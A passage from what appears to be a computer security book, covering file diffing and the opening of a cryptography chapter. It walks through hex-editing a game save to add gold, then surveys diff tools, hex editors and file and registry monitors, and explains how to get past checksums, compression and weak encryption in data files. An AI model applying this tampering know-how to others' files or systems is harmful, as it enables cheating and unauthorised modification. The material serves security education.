(hex) looks promising. It was 4C and is now 01, which matches our calculations
exactly.We can also probably infer what some of the other numbers mean as well.
There were eight skeletons available in our castle, and we bought one, leaving
seven.That would seem to indicate the byte at 3AE4.The byte at 3AD3 might
indicate one skeleton in our garrison at the castle, where there were none before.
For now, though, we’re only interested in the gold amount. So, I fire up a hex
editor (similar to a sector editor but intended to be used on files rather than a
raw disk) and load hack2.gm1. I go to offset 368, and there are our values 01 1D.
Notice that they appear to be reversed, as we Latin-language-based humans see
them.That’s most likely because Intel processors store the least significant byte
first (in the lower memory location).There’s only one way to find out if we have
the right byte: change it. I change the 1D (the most significant byte, because I
want the biggest effect) to FF (the biggest value that fits in one byte, expressed in
hex). Figure 5.8 shows the result of loading hack2.gm1 into the game.
Take a look at the amount of gold, which is now 65281. A quick check with
calc.exe confirms that 65281 in decimal is FF01 in hex.We now have a signifi-
cant advantage in the game and can crush our simulated enemies with ease.
www.syngress.com
Figure 5.8 The Same Game After the Saved Game Was Manually Edited;
Note the Gold Amount
Diffing • Chapter 5 143
Should we have wanted even more gold, which is entirely possible to gain in this
game, we could have tried increasing the next byte to the right of the 1D as well,
which was 0 when I looked at it. At worst, a couple tries at the adjacent bytes in
the file with the hex editor will reveal which byte is needed to hand yourself
millions of gold pieces.
Of course, the purpose of this book isn’t really to teach you how to cheat at
games; there are more efficient means to do so than we’ve outlined here. For this
game in particular, someone has written a saved-game editor, likely starting with
the exact same technique we’ve outlined here.There are also a few cheat codes
you can just punch directly into the game, keeping you from having to exit at all.
A quick Web search reveals either, if you’re really interested.
If you’re familiar with this game, you might be wondering why our example
wasn’t done in Heroes of Might and Magic III, which is the current version.The
reason is discussed later in the chapter.
Exploring Diff Tools
Before we move on to other, more interesting examples, let’s take a moment to
discuss some of the tools needed to perform this sort of work. In the previous
section, we discussed the use of the fc utility and showed a brief example of the
utility in action.We also talked about the use of hex editors, sector editors, and
calc.exe for our purposes. Here we take a closer, more detailed look at the use
and functionality of diff utilities.
Using File-Comparison Tools
The first step in diffing files is to determine the differences between two files.To
do this, we’ll need some file-comparison tools. Let’s examine a couple of them.
Using the fc Tool
The fc utility, which has been included in DOS (and later,Windows) for many
years, is the first tool we will take a look at in more depth. If you’ve got a
Windows 9x machine, fc can be found in c:\windows\command or whatever
your Windows directory is if it’s not c:\windows. By default, c:\windows\
command is in the path, so you can simply type fc when you need it.These are
the options available in fc:
C:\windows\COMMAND>fc /?
Compares two files or sets of files and displays the differences between
www.syngress.com
144 Chapter 5 • Diffing
them.
FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/W] [/nnnn]
[drive1:][path1]filename1
[drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2
/A Displays only first and last lines for each set of
differences.
/B Performs a binary comparison.
/C Disregards the case of letters.
/L Compares files as ASCII text.
/LBn Sets the maximum consecutive mismatches to the specified number
of lines.
/N Displays the line numbers on an ASCII comparison.
/T Does not expand tabs to spaces.
/W Compresses white space (tabs and spaces) for comparison.
/nnnn Specifies the number of consecutive lines that must match after
a mismatch.
There’s the /b switch that was mentioned. If you’re comparing binary files
without that, the comparison will stop if it hits an end-of-file character or a zero
byte.With this particular command, the command-line switches aren’t case sensitive,
as evidenced by the fact that the help shows /B, while we’ve demonstrated
that /b works fine.There are a number of text options that you can explore on
your own.As we’ll see next, there’s a much better utility for comparing text files,
but if you find yourself working on someone else’s machine that doesn’t have it, fc
is almost always there (on Windows machines) and it will do in a pinch.
NOTE
The rough UNIX equivalent of fc /b is the command cmp –l (lowercase l).
www.syngress.com
Diffing • Chapter 5 145
Using the diff Command
The diff command originates on the UNIX platform. It has limited binary comparison
capabilities but is useful primarily for text file comparison. In fact, its text
comparison features are exceptional.The complete list of capabilities for diff is
much too large to include here; check the UNIX man pages or equivalent for
the full list.
To give you an idea of what diff can do if you’ve not heard of it before, we’ll
list a few of the most commonly used features. Using a simple-minded text-comparison
tool, if you were to take a copy of a file and insert a line somewhere in
the middle, it would probably flag everything after the added lines as a mismatch.
Diff is smart enough to understand that a line has been added or removed:
[root@rh /tmp]$ diff decode.c decode2.c
14a15
> #include <newinclude.h>
[root@rh /tmp]$ diff decode2.c decode.c
15d14
< #include <newinclude.h>
The two files in question (decode.c and decode2.c) are identical except for a
line that has been added to decode2.c that reads #include <newinclude.h>. In
the first example, decode.c is the first argument to the diff command, and decode2.c
is the second.The output indicates that a line has been added in the second file,
after line 14 and going through line 15, and then lists the contents. If you reverse
the arguments, the difference becomes a delete instead of an add (note the a in the
first output and the d in the second).
This output is called diff output or a diff file and has the property that if you
have the diff file and the original file being compared, you can use the diff file to
produce the second file. For this reason, when someone wants to send someone
else a small change to a text file, especially for source code, they often send a diff
file.When someone posts a vulnerability to a mailing list regarding a piece of
open source software, it’s not uncommon for the poster to include diff output
that will patch the source to fix the output.The program that patches files by
using diff output is called patch.
The diff program, depending on which version you have, can also produce
other scripts as its difference output, such as for ed or Revision Control System
(RCS). It can accept regular expressions for some of its processing, understands C
www.syngress.com
146 Chapter 5 • Diffing
program files to a degree, and can produce as part of its output the function in
which the changes appear.
A Windows version of diff (as well as many other UNIX programs) is available
from the Cygwin project.The Cygwin project is a porting project that is
intended to bring a number of the GNU and other UNIX-based tools to the
Windows platform.All GNU software is covered under some form of the GNU
Public License (GPL), making the tools free.This work (including a package containing
the Windows version of diff) can be found at http://sourceware.cygnus
.com/cygwin.
Microsoft also includes a utility called Windiff in the Windows NT and
Windows 98 resource kits. It’s a graphical version of a diff-style utility that displays
changes in different colors and has a graph representation of where things
have been inserted or deleted.
Working with Hex Editors
We mentioned in passing about using a hex editor to make a change to a binary
file. A hex editor is a tool that allows the user to directly access a binary file
without having to use the application program to which that type of file belongs.
I say “binary” file, which is, of course, a superset of text files as well; however,
most people have a number of programs on their computer that allow editing of
text files, so a hex editor is a bit of overkill and cumbersome for editing text files.
In general, a hex editor does not understand the format of the file it is used
to edit. Some hex editors have powerful features, such as search functions,
numeric base converters, cut and paste, and others. However, at the base level,
they are still simply working on a list of byte values. It’s up to the user of the hex
editor to infer or deduce which bytes you need to edit to accomplish your task,
as we did in our game example earlier in the chapter.
A large number of other hex editors are available.These range all over the
spectrum in terms of costs (from freeware to commercial), quality, and functionality.
For most people, the “best” editor is very much a matter of personal preference.
It might be worth your time to try a number of different editors until you
find the one you like.
The three that we look at briefly here—Hackman, [N] Curses Hexedit, and
Hex Workshop—are not necessarily representative of hex editors in general, nor
should they be considered an adequate cross-section of what’s out there.They
merely represent three that I have found interesting.
www.syngress.com
Diffing • Chapter 5 147
Hackman
Hackman is a free Windows-based hex editor. It has a long list of features,
including searching, cutting, pasting, a hex calculator, a disassembler, and many
others.The graphical user interface (GUI) is somewhat sparse, as you can see in
Figure 5.9.
Hackman even includes command-line functionality, visible at the bottom of
Figure 5.9. In the figure, we can see Hackman being used to hex-edit cmd.exe.
Hackman is easy to use and offers the functionality you need from a basic hex
editor, with the added benefit of a nice user interface. It is reliable and userfriendly
and has benefited from recent development efforts. Hackman can be
found at www.technologismiki.com/hackman.
www.syngress.com
Figure 5.9 The Hackman User Interface
148 Chapter 5 • Diffing
[N] Curses Hexedit
Another free program (in fact, some might consider it more free, since it’s available
under the GPL) is [N] Curses Hexedit. As mentioned, it’s GPL software, so the
source is available should you want to make enhancements.There are versions
available for all the major UNIX-like OSs as well as DOS.
If you think the Hackman interface is plain, this one is downright Spartan, as
shown in Figure 5.10.
Functionality is also fairly basic.There is a search function, a simple binary
calculator (converter), and the usual scrolling and editing keys.The whole list can
be seen in Figure 5.11.
www.syngress.com
Figure 5.10 [N] Curses Hexedit Interface, DOS Version
Figure 5.11 [N] Curses Hexedit Help Screen
Diffing • Chapter 5 149
If this tool is a little light on features, it makes up for it in simplicity, light
resource usage, and cross-platform support.The current version is 0.9.7, which,
according to the changelog, has been the current version since August 8, 1999.
This should not necessarily be taken to mean that the project will undergo no
future development, but rather that it likely works the way the author wants it to.
Possibly, if the author decides that he wants to add something or if someone
points out a bug, he’ll release an update. It’s also possible that if you write an
enhancement and send it to him, he’ll include it in a new official release.
[N] Curses Hexedit can be obtained at http://ccwf.cc.utexas.edu/~apoc/
programs/c/hexedit.
Hex Workshop
Finally, we take a look at a commercial hex editor, Hex Workshop from
BreakPoint Software.This is a relatively inexpensive package (US$49.95 at the
time of this writing) for the Windows platform.A 30-day free trial is available.
The interface on this program is nicely done, as shown in Figure 5.12, and it
seems very full-featured.
www.syngress.com
Figure 5.12 Hex Workshop User Interface
150 Chapter 5 • Diffing
Hex Workshop includes arithmetic functions, a base converter, a calculator, a
checksum calculator, and numerous other features. If your hands are accustomed
to the standard Windows control keys (for example, Ctrl-F brings up the Find
dialog box), you’ll probably be at home here.
If you’re a Windows user and you end up doing a lot of hex editing, you
might want to treat yourself to this package. Hex Workshop can be obtained at
www.bpsoft.com.
Utilizing File System Monitoring Tools
The third class of tools we will look at are called file system monitoring tools.These
are distinct from tools that work on individual files; they work on a group of
files, such as a partition, drive letter, or directory.These tools also span a wider
range of functionality, since they often have different purposes. In some cases, we
will be taking advantage of a side effect.
Before you can work on an individual file, you often need to determine which
file it is you’re interested in. Sometimes this can be done by trial and error or by
making an educated guess. However, you will often want tools available to make
the process easier.
For example, after you’ve caused your program to perform some action, you
will want to know what was changed. In most cases, your action will have
changed a file on the disk, but which one? If the filenames offer no clue, how do
you determine which files are being modified?
One obvious way is to take a copy of every file in the directory of interest
and then compare them one by one with the modified set to see which individual
files have been changed (and don’t forget to check for new files).
However, that process is very cumbersome and might be more work than is necessary.
Let’s examine a few methods that can be used to make this job easier.
Doing It The Hard Way: Manual Comparison
Naturally, you have the option of doing things manually, the hard way.That is, as
we mentioned, you can take a complete copy of everything that might possibly
be changed (say, all the files in a directory, or the whole hard drive), make the
change, and then do a file-by-file comparison.
Obviously, this technique will work, but it takes a lot more storage and time
than other methods. In some special cases, though, it might still be the best
choice. For example, when you’re working with the Windows Registry, tools to
monitor specific portions of the Registry might be unavailable on the machine
www.syngress.com
Diffing • Chapter 5 151
you’re working on. Regedit is nearly always available, and it allows you export
the whole Registry to a text file. In other cases, if there aren’t many files, and
you’ve got lots of extra files, diffing the whole hard drive might be fine the first
time to locate the file you’re interested in. Brute force can sometimes be faster
than subtlety, especially if it will take you some time to prepare to be subtle.
Comparing File Attributes
One of the ways to avoid copying all the files is to take advantage of the file
attributes built into the file system. File attributes are things like dates, times, size,
and permissions. Several of these attributes can be of use to us in determining
which files have just been modified.
Here’s the relevant section of code from the file ext2_fs.h on a Red Hat 6.2
Linux install:
/*
* Structure of an inode on the disk
*/
struct ext2_inode {
__u16 i_mode; /* File mode */
__u16 i_uid; /* Owner Uid */
__u32 i_size; /* Size in bytes */
__u32 i_atime; /* Access time */
__u32 i_ctime; /* Creation time */
__u32 i_mtime; /* Modification time */
__u32 i_dtime; /* Deletion Time */
__u16 i_gid; /* Group Id */
__u16 i_links_count; /* Links count */
__u32 i_blocks; /* Blocks count */
__u32 i_flags; /* File flags */
Most UNIX file systems have something very similar to this code as their
base set of file attributes.There’s an owner, the size, several time fields, group,
number of links to this file, number of disk blocks used, and the file flags (the
standard Read Write eXecute permissions).
So which attributes will be of use to us? In most cases, it will be one of the
time values or the size. Either of these can be spotted by redirecting the output of
an ls –al command to a file before and after and then diffing the two files, as
shown in the following example:
www.syngress.com
152 Chapter 5 • Diffing
[elliptic@ellipse]$ diff /tmp/before /tmp/after
2,3c2,3
< drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:55 .
< drwxrwxrwt 9 root root 1024 Jun 16 01:55 ..
---
> drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:56 .
> drwxrwxrwt 9 root root 1024 Jun 16 01:56 ..
97c97
< -rw-r--r-- 1 ryan ryan 31533 Jun 16 01:55 fs.h
---
> -rw-r--r-- 1 ryan ryan 31541 Jun 16 01:56 fs.h
From the example, it’s apparent that the fs.h file changed.This method (comparing
the directory contents) will catch a change in any of the attributes.A
quick way to simply look for a time change is to use ls –alt, shown in the following
example piped through the more command:
[elliptic@ellipse]$ ls -alt | more
total 2224
drwxrwxrwt 9 root root 1024 Jun 16 01:56 ..
drwxrwxr-x 2 ryan ryan 7168 Jun 16 01:56 .
-rw-r--r-- 1 ryan ryan 31541 Jun 16 01:56 fs.h
-rw-r--r-- 1 ryan ryan 7295 Jun 16 01:55 a.out.h
-rw-r--r-- 1 ryan ryan 2589 Jun 16 01:55 acct.h
-rw-r--r-- 1 ryan ryan 4620 Jun 16 01:55 adfs_fs.h
… and so on.The newest files are displayed at the top. Under DOS/Windows,
the command to sort by date is dir /o:d, as shown in the following example:
C:\date>dir /o:d
Volume in drive C has no label
Volume Serial Number is 3C3B-11E3
Directory of C:\date
HEX-EDIT EXE 58,592 03-14-95 9:51p Hex-edit.exe
HEXEDI~1 GZ 165,110 06-05-00 11:44p hexedit-0_9_7_tar.gz
HEXEDIT EXE 158,208 06-06-00 12:04a hexedit.exe
www.syngress.com
Diffing • Chapter 5 153
. <DIR> 06-16-00 12:18a .
.. <DIR> 06-16-00 12:18a ..
3 file(s) 381,910 bytes
2 dir(s) 10,238.03 MB free
In this case, the newest files are displayed at the bottom.
Using the Archive Attribute
Here’s a cute little trick available to DOS/Windows users:The File Allocation
Table (FAT) file system includes a file attribute called the archive bit.The original
purpose of the bit was to determine if a file had been modified since the last
backup and therefore needed to be backed up again. Of course, since we’re after
modified files, this method serves our purposes, too.Take a look at a typical
directory with the attrib command in the following example:
C:\date>attrib
A HEX-EDIT.EXE C:\date\Hex-edit.exe
A HEXEDIT.EXE C:\date\hexedit.exe
A HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz
Notice the A at the front of each line.That indicates that the archive bit is set
(meaning it needs to be backed up). If we use the attrib command again to clear
it, we get the results shown in the following example:
C:\date>attrib -a *.*
C:\date>attrib
HEX-EDIT.EXE C:\date\Hex-edit.exe
HEXEDIT.EXE C:\date\hexedit.exe
HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz
Now, if a file or two out of the group is modified, it gets its archive bit back,
as shown in the following example:
C:\date>attrib
A HEX-EDIT.EXE C:\date\Hex-edit.exe
HEXEDIT.EXE C:\date\hexedit.exe
HEXEDI~1.GZ C:\date\hexedit-0_9_7_tar.gz
www.syngress.com
154 Chapter 5 • Diffing
That’s the output of attrib again, after HEX-EDIT.EXE has been changed.
The nice thing about the attrib command is that it has a /s switch to process subdirectories
as well, so you can use it to sweep through a whole directory structure.
Then, you can use the dir /a:a command (directory of files with the archive
attribute set) to see which files have been changed.
Examining Checksums and Hashes
There’s one central problem with relying on file attributes to determine if the
files have been changed: File attributes are easy to fake. It’s dead simple to set the
file to any size, date, and time you want. Most applications won’t bother to do
this, but sometimes viruses,Trojans, or root kits do something like this to hide.
One way around this trick is to use checksums or cryptographic hash algorithms
on the files and store the results.
Checksums, such as a cyclic redundancy check (CRC), are also pretty easy to
fake if the attacker or attacking program knows which checksum algorithm is
being used to check files, so it is recommended that you use a cryptographically
strong hash algorithm instead.The essential property of a hash algorithm that
we’re interested in is that the chances of two files hashing to the same value are
impossibly small.Therefore, it isn’t possible for an attacker to produce a different
file that hashes to the same value. Hash values are typically 128 or 160 bits long,
so are much smaller than the typical file.
For our purposes, we can use hashes to determine when files have changed,
even if they are trying to hide the fact.We run though the files we’re interested
in and take a hash value for each.We make our change.We then compute the
hash values again and look for differences.The file attributes may match, but if
the hash value is different, the file is different.
Obviously, this method also has a lot of use in keeping a system secure.To be
correct, I need to partially retract my statement that hashes can spot changes by a
root kit; they can spot changes by a na&iuml;ve root kit. A really good root kit assumes
that hashes are being watched and causes the system to serve up different files at
different times. For example, when a file is being read (say, by the hashing program),
the modified operating system hands over the real, original file.When it’s
asked to execute the file, it produces the modified one.
For an example of this technique, look for “EXE Redirection” on the
rootkit.com site.This site is dedicated to the open source development of a root
kit for NT: www.rootkit.com.
www.syngress.com
Diffing • Chapter 5 155
Finding Other Tools
Ultimately, a hacker’s goal is probably to cause the change that she’s been monitoring
to occur at will. In other words, if she’s been trying to give herself more
gold in her game, she wants to be able to do so without having to go through
the whole diffing process. Perhaps she doesn’t mind using a hex editor each time,
or perhaps she does. If she does mind, she’ll probably want some additional tools
at her disposal.
If the hacker has ever tackled any programming, she’ll want some sort of programming
tool or language. Like editors, programming tools are very personal
and subjective.Any full-featured programming language that allows arbitrary file
and memory access is probably just fine. If the attacker is after some sort of special
file access (say, the Windows Registry), it might be nice to have a programming
language with libraries that hook into the Application Programming
Interface (API) for that special file. In the case of the Windows Registry, it can be
done from C compilers with the appropriate libraries; it can also be done from
ActiveState Perl for Windows, and probably many, many more. If you’re curious,
ActiveState Perl can be found at www.activestate.com/Products/ActivePerl/
index.html.
Way back when DOS ruled the gaming market, a program called Game
Wizard 32 was created.This program was essentially a diffing program for live,
running games. It would install in memory-resident mode, and you would then
launch your game. Once your game was running, you’d record some value (hit
points, gold, energy, etc.) and tell Game Wizard 32 to look for it. It would record
a list of matches.Then you’d make a change and go back to the list and see
which one now matched the new value.You could then edit it and resume your
game, usually with the new value in effect.This program also had many more
features for the gamer, but that’s the one relevant to this discussion.
Nowadays, most gamers call that type of program a trainer or memory editor.
The concept is exactly the same as the one we presented for files. A wide range
of these types of programs (including Game Wizard 32) can be found at
http://gamesdomain.telepac.pt/direct...s/gwiz32.html.
Another couple of tools I have found invaluable when working on Windows
machines are File Monitor (FileMon) and Registry Monitor (RegMon), both
from Sysinternals. If you’re using NT, you should also check out HandleEx,
which provides similar information but with more detail.Their site can be found
at www.sysinternals.com.This site has a large number of truly useful utilities,
many of which they will give you for free, along with source code.
www.syngress.com
156 Chapter 5 • Diffing
FileMon is a tool that enables you to monitor programs that are accessing
files, what they are doing to them (reading, writing, modifying attributes, etc.),
and at what file offset, as shown in Figure 5.13.
Filtering can be applied, so you can watch what only certain programs do, to
reduce the amount of information you have to wade through. Note that FileMon
records the offset and length when reading files.This can sometimes be of help
when trying to determine where in a file a particular bit of information lives.
FileMon is another good way to shorten your list of files to look at.
The other tool from Sysinternals is RegMon. As you might expect, it does
much the same thing as FileMon but for the Registry, as shown in Figure 5.14.
While I was preparing this sample, I was listening to the Spinner application
from spinner.com, which uses Real Audio to deliver its music. As you can see,
Real Audio keeps itself busy while it’s running.You can also see a Dynamic Host
Configuration Protocol (DHCP) action at line 472.This tool can be especially
useful if you suspect an application is storing something interesting in the
Registry in a subtle place or if you’re trying to determine what some Trojan
horse program is up to. It sure beats copying and comparing the whole Registry.
www.syngress.com
Figure 5.13 Information That FileMon Reports
Diffing • Chapter 5 157
Troubleshooting
A couple of things can present challenges to trying to directly edit data files.
These problems can become frustrating, since their focus is on meticulous details.
In short, the focus is on modifying part of an important file while not confusing
it with or becoming distracted by a less important, dependent file.
Problems with Checksums and Hashes
The first type of problem you might encounter is that of a checksum or hash
being stored with the file.These are small values that represent a block of data—
in this case, a part of the file.When writing out the file in question, the program
performs a calculation on some portion of the file and comes up with a value.
Typically, this value is somewhere in the 4- to 20-byte range.This value gets
stored with the file.
When it comes time to read the file, the program reads the data and the
checksum/hash and performs the calculation on the data again. If the new hash
matches the old one, the program assumes that the file is as it left it and proceeds.
www.syngress.com
Figure 5.14 Information Available via RegMon
158 Chapter 5 • Diffing
If the hashes don’t match, the program will probably report an error, saying
something to the effect of “File corrupt.”
For a variety of reasons, an application developer might apply such a mechanism
to his data files. One reason is to detect accidental file corruption. Some
applications might not operate properly if the data is corrupted. Another reason is
that the developer wanted to prevent the exact thing we’re trying to do.This
might range from trying to prevent us from cheating at games to modifying password
files.
Of course, there is no actual security in this type of method. All you have to
do is figure out what checksum or hash algorithm is used and perform the same
operation as the program does.Where the hash lives in the file won’t be any
secret; as you’re looking for changed bytes, trying to find your value you
changed, you’ll also find some other set of bytes that changes every time, too.
One of these other sets of bytes is the checksum.
Unless you’ve got some clue as to what algorithm is used, the tricky part is
figuring out how to calculate the checksum. Even with the algorithm, you still
need to know which range of bytes is covered by the checksum, but that can be
discovered experimentally. If you’re not sure if a particular section of the files is
covered under the checksum, change one of the bytes and try it. If it reports a
corrupted file, it (probably) is.
Short of looking at the machine code or some external clue (such as the program
reporting a CRC32 error), you’ll have to make guesses about the algorithm
from the number of bytes in the hash value. CRC32, which is the most
common, produces a 32-bit (4-byte) output.This is the checksum that is used in
a number of networking technologies. Code examples can be found all over the
place—just do a Web search, or you can find an example at www.faqs.org/faqs/
compression-faq/part1/section-26.html.
MD4 and MD5 produce 128-bit (16-byte) output (MD stands for Message
Digest).The Secure Hash Algorithm (SHA) produces 160-bit (20-byte) output.
NOTE
Variations on any of the techniques in this section are possible, if the
developer wants to make a hacker’s work harder. Worst case, the hacker
would have to run the program through a debugger and watch for the
code to execute to help him determine the algorithm. You can find some
examples of using a debugger to walk through code in Chapters 4 and 8
in this book.
www.syngress.com
Diffing • Chapter 5 159
Problems with Compression and Encryption
This topic is essentially the same problem as the hash, with a little extra twist. If
the file has been compressed or encrypted, you won’t be able to determine
which part of the file you want to ultimately modify until after you’ve worked
around the encryption or compression.
When you go to diff a data file that has been compressed or encrypted (if the
algorithm is any good), most of the file will show up as changed. At the beginning
of the chapter I mentioned that I used Heroes of Might and Magic II for
my example, even though Heroes of Might and Magic III has been out for some
time.That’s because Heroes of Might and Magic III appears to compress its data
files. I make this assumption based on the facts that the file is unintelligible (I
don’t see any English words in it); nearly the whole file changes every save, even
if I do nothing in the game between saves; and the file size changes slightly from
time to time. Since compressed file size is usually dependent on file contents,
whereas encrypted files tend to stay the same size each time if you encrypt the
same number of bytes, I assume I’m seeing compression instead of encryption.
For compressed files, the number of ways a file might be compressed is relatively
limited. A number of compression libraries are available, and most people or
businesses wouldn’t write their own compression routines. Again, in the worst
case, you’ll have to use some sort of debugger or call trace tool to figure out
where the compression routines live.
Encryption is about the same, with the exception that chances are much
higher that developers will attempt to roll their own “encryption” code. I put the
term in quotes because most folks can’t produce decent encryption code (not
that I can, either). So, if they make their own, it will probably be very crackable.
If they use some real cryptography … well, we can still crack it. Since the program
needs to decrypt the files too, everything you need is in there somewhere.
See Chapter 6 for more information on encryption.
www.syngress.com
160 Chapter 5 • Diffing
Summary
Diffing is the comparison of a program, library, or other file before and after
some action. Diffing can be performed at the disk level, file level, or database
level. In this chapter, we examined the difference between two revisions of the
same file and showed how diff can give us details of the modifications between
them.
Reasons for diffing include discovering the location of password storage in
applications or a vulnerability that has been fixed but not disclosed.We looked at
an example of a patch created in unified diff format and then examined diff
output between two source files to see that it was the same as the diff.
Various tools are used in diffing, such as the fc utility included with Windows
operating systems, and the diff command used with UNIX. Hex editing programs
for various platforms are also worth exploring, such as Hackman for Windows.
File system monitoring tools work on a broad group of files, a partition, or a drive
letter. In this chapter, we discussed monitoring file systems the hard way—by
copying the entire file system and doing a file-by-file comparison. By examining
the structure of an ext2 file system discussed in this chapter, you can discover the
means by which you can identify files that have changed through the modification
time using ls. It is possible to perform a similar search using the MS-DOS dir
command and looking for the file at the bottom; you can also search FAT file
systems for changes with the archive attribute. Checksums can be used to monitor
files for changes by creating a list of the checksums, then comparing them later.
Note that some programs such as root kits may circumvent checksums.
Other types of tools include ActiveState Perl, for writing your own tools;
FileMon, a utility for monitoring the files that programs are accessing on a
Microsoft Windows system; and RegMon, a utility for monitoring entries to the
Windows Registry on a Windows system (both the latter tools are from
Sysinternals).
We closed the chapter with a discussion about problems we might encounter.
We can circumvent checksums and hashes by discovering the location of the
checksums and their method of generation.We also mentioned the problem with
encryption and compression and how locating a checksum in a file that has been
compressed or encrypted is impossible until the protecting mechanism has been
circumvented.
www.syngress.com
Diffing • Chapter 5 161
Solutions Fast Track
What Is Diffing?
Diffing is the process of comparing an object before and after an
operation.
Diffing can be used to discover changes to files by execution of a
program or to uncover vulnerabilities that have been fixed but not
disclosed.
An entire directory can be examined via the diff program to compare all
like files within the directory.
Diff-style research can be applied to source code and binaries.
Exploring Diff Tools
Most UNIX operating systems include the program diff for diffing;
Microsoft operating systems include the fc utility, which offers similar
features.
When someone posts a vulnerability to a mailing list regarding a piece
of open source software, it’s not uncommon for the poster to include diff
output that will patch the source to fix the output.
A hex editor is a tool that allows you to make direct access to a binary
file without having to use the application program to which that type of
file belongs. Hex editors are available for many platforms, such as
Hackman for Windows or hexedit for UNIX.
Because file attributes are easy to fake, you should not rely on them to
determine if the files have been changed, because they could be hiding
viruses,Trojans, or root kits. One way around this problem is to use
checksums or cryptographic hash algorithms on the files and store the
results.
Utilities for Windows monitoring include RegMon and FileMon.
www.syngress.com
162 Chapter 5 • Diffing
Troubleshooting
Checksums, hashes, compression, and encryption are used to protect files.
Checksums and hashes can be circumvented by locating the value and
discovering how it is generated.The tricky part is figuring out how to
calculate the checksum; even with the algorithm, you still need to know
which range of bytes is covered by the checksum.
Encryption and compression must first be circumvented prior to altering
hashes and checksums.The number of ways a file might be compressed
is relatively limited, and the encryption, too, will be crackable; since the
program needs to decrypt the files, too, everything you need is in there
somewhere.
Q: Is diff available for Windows?
A: Diff can be attained from the Cygwin distribution, available from Cygnus
Solutions.
Q:Will I always have to diff fixes to discover vulnerabilities?
A:Yes and no. Many vendors of free or GPL operating systems make this information
available. Commercial vendors are not as eager to release this information.
Although I can’t tell you which operating system to use, I can say I
prefer having the information, and therefore I use free and open source operating
systems.
Q: Can I get grep with the recursive function built in?
A:Yes.Versions of grep that support the recursive (-r) flag are available from the
Free Software Foundation at www.gnu.org.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
Diffing • Chapter 5 163
Q: What if I want to use C instead of Perl to create my tools?
A: More power to you. Most free UNIX-like operating systems include
a C compiler. For Windows, DJGPP can be used; it’s available at
www.delorie.com/djgpp.
Q: Where can I find other free utilities?
A: Sourceforge.net has a large repository of free software. Additionally,
Freshmeat.net is a freely available software search engine.

[mic64]

Chapter 6 • Cryptography
Introduction
Cryptography is everywhere these days, from hashed passwords to encrypted
mail, to Internet Protocol Security (IPSec) virtual private networks (VPNs) and
even encrypted filesystems. Security is the reason why people opt to encrypt
data, and if you want your data to remain secure you’d best know a bit about
how cryptography works.This chapter certainly can’t teach you how to become a
professional cryptographer—that takes years of study and practice—but you will
learn how most of the cryptography you will come in contact with functions
(without all the complicated math, of course).
We’ll examine some of the history of cryptography and then look closely at a
few of the most common algorithms, including Advanced Encryption Standard
(AES), the recently announced new cryptography standard for the U.S. government.
We’ll learn how key exchanges and public key cryptography came into
play, and how to use them. I’ll show you how almost all cryptography is at least
theoretically vulnerable to brute force attacks.
Naturally, once we’ve covered the background we’ll look at how cryptography
can be broken, from cracking passwords to man-in-the-middle-type
attacks.We’ll also look at how other attacks based on poor implementation of
strong cryptography can reduce your security level to zero. Finally, we’ll examine
how weak attempts to hide information using outdated cryptography can easily
be broken.
Understanding Cryptography Concepts
What does the word crypto mean? It has its origins in the Greek word kruptos,
which means hidden.Thus, the objective of cryptography is to hide information
so that only the intended recipient(s) can “unhide” it. In crypto terms, the hiding
of information is called encryption, and when the information is unhidden, it is
called decryption.A cipher is used to accomplish the encryption and decryption.
Merriam-Webster’s Collegiate Dictionary defines cipher as “a method of transforming
a text in order to conceal its meaning.”The information that is being
hidden is called plaintext; once it has been encrypted, it is called ciphertext.The
ciphertext is transported, secure from prying eyes, to the intended recipient(s),
where it is decrypted back into plaintext.
www.syngress.com
www.syngress.com
History
According to Fred Cohen, the history of cryptography has been documented
back to over 4000 years ago, where it was first allegedly used in Egypt. Julius
Caesar even used his own cryptography called Caesar’s Cipher. Basically, Caesar’s
Cipher rotated the letters of the alphabet to the right by three. For example, S
moves to V and E moves to H. By today’s standards the Caesar Cipher is
extremely simplistic, but it served Julius just fine in his day. If you are interested
in knowing more about the history of cryptography, the following site is a great
place to start: www.all.net/books/ip/Chap2-1.html.
In fact, ROT13 (rotate 13), which is similar to Caesar’s Cipher, is still in use
today. It is not used to keep secrets from people, but more to avoid offending
people when sending jokes, spoiling the answers to puzzles, and things along
those lines. If such things occur when someone decodes the message, then the
responsibility lies on them and not the sender. For example, Mr. G. may find the
following example offensive to him if he was to decode it, but as it is shown it
offends no one:V guvax Jvaqbjf fhpxf…
ROT13 is simple enough to work out with pencil and paper. Just write the
alphabet in two rows; the second row offset by 13 letters:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZABCDEFGHIJKLM
Encryption Key Types
Cryptography uses two types of keys: symmetric and asymmetric. Symmetric keys
have been around the longest; they utilize a single key for both the encryption
and decryption of the ciphertext.This type of key is called a secret key, because
you must keep it secret. Otherwise, anyone in possession of the key can decrypt
messages that have been encrypted with it.The algorithms used in symmetric key
encryption have, for the most part, been around for many years and are well
known, so the only thing that is secret is the key being used. Indeed, all of the
really useful algorithms in use today are completely open to the public.
A couple of problems immediately come to mind when you are using symmetric
key encryption as the sole means of cryptography. First, how do you
ensure that the sender and receiver each have the same key? Usually this requires
the use of a courier service or some other trusted means of key transport.
Second, a problem exists if the recipient does not have the same key to decrypt
Cryptography • Chapter 6 167
168 Chapter 6 • Cryptography
the ciphertext from the sender. For example, take a situation where the symmetric
key for a piece of crypto hardware is changed at 0400 every morning at
both ends of a circuit.What happens if one end forgets to change the key
(whether it is done with a strip tape, patch blocks, or some other method) at the
appropriate time and sends ciphertext using the old key to another site that has
properly changed to the new key? The end receiving the transmission will not be
able to decrypt the ciphertext, since it is using the wrong key.This can create
major problems in a time of crisis, especially if the old key has been destroyed.
This is an overly simple example, but it should provide a good idea of what can
go wrong if the sender and receiver do not use the same secret key.
Asymmetric cryptography is relatively new in the history of cryptography,
and it is probably more recognizable to you under the synonymous term public
